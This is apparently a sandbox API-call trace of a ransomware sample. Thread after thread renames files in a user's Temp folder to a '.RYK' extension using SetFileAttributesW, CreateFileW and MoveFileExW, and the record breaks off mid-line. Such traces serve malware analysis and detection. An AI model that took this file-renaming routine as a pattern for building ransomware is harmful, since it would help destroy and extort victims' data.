	[0249.628] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b0qhl.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b0qhl.odt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2846
	os_tid = 0x3278

	[0249.629] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png", dwFileAttributes=0x80) returned 0
	[0249.629] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\c2o-.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.630] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\c2o-.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\c2o-.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2847
	os_tid = 0x327c

	[0249.631] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif", dwFileAttributes=0x80) returned 0
	[0249.631] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cn7dccndgk9.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.631] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.631] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cn7dccndgk9.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cn7dccndgk9.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2848
	os_tid = 0x3280

	[0249.632] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp", dwFileAttributes=0x80) returned 0
	[0249.632] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.632] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.632] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2849
	os_tid = 0x3284

	[0249.634] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png", dwFileAttributes=0x80) returned 0
	[0249.634] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dminn1fcjbx.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.634] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.634] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dminn1fcjbx.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dminn1fcjbx.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2850
	os_tid = 0x3288

	[0249.635] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt", dwFileAttributes=0x80) returned 0
	[0249.635] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.635] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2851
	os_tid = 0x328c

	[0249.637] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv", dwFileAttributes=0x80) returned 0
	[0249.637] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\h3njx34uqpiif.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.637] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\h3njx34uqpiif.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\h3njx34uqpiif.flv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2852
	os_tid = 0x3290

	[0249.934] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif", dwFileAttributes=0x80) returned 0
	[0249.934] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.934] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2853
	os_tid = 0x3294


Thread:
	id = 2872
	os_tid = 0x32e8

	[0249.936] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4", dwFileAttributes=0x80) returned 0
	[0249.936] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.936] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2873
	os_tid = 0x32ec

	[0249.937] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg", dwFileAttributes=0x80) returned 0
	[0249.937] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\kszxiv-1om7talu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.937] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.937] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\kszxiv-1om7talu.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\kszxiv-1om7talu.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2874
	os_tid = 0x32f0

	[0249.939] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3", dwFileAttributes=0x80) returned 0
	[0249.939] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxkq3ka3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.939] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxkq3ka3.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxkq3ka3.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2875
	os_tid = 0x32f4

	[0249.940] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv", dwFileAttributes=0x80) returned 0
	[0249.940] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lyl8hl0zcgip.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.940] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.940] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lyl8hl0zcgip.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lyl8hl0zcgip.flv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2876
	os_tid = 0x32f8

	[0249.941] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav", dwFileAttributes=0x80) returned 0
	[0249.941] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.942] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2877
	os_tid = 0x32fc

	[0249.943] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt", dwFileAttributes=0x80) returned 0
	[0249.943] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o1d v02bb-yyjax.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.943] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o1d v02bb-yyjax.ppt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o1d 